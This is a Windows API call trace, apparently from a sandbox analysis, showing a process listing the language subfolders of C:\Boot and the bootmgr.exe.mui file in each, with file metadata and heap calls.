	[0249.373] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.373] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.373] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.374] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.374] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.374] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.374] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0249.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.374] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.374] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.374] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.374] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.374] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.374] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.374] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0249.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.374] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.374] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.375] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.375] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.375] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.375] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.375] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0249.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.375] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.375] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.375] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.375] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.375] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.375] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.375] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0249.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.375] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.376] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.376] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.376] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.376] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.376] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.376] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0249.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.376] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.376] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.376] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.376] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.376] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.376] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.376] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0249.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.376] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.376] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.377] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.377] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.377] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.377] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.377] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0249.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.377] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.377] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.377] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.377] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.377] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.377] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.377] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0249.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.377] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.377] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
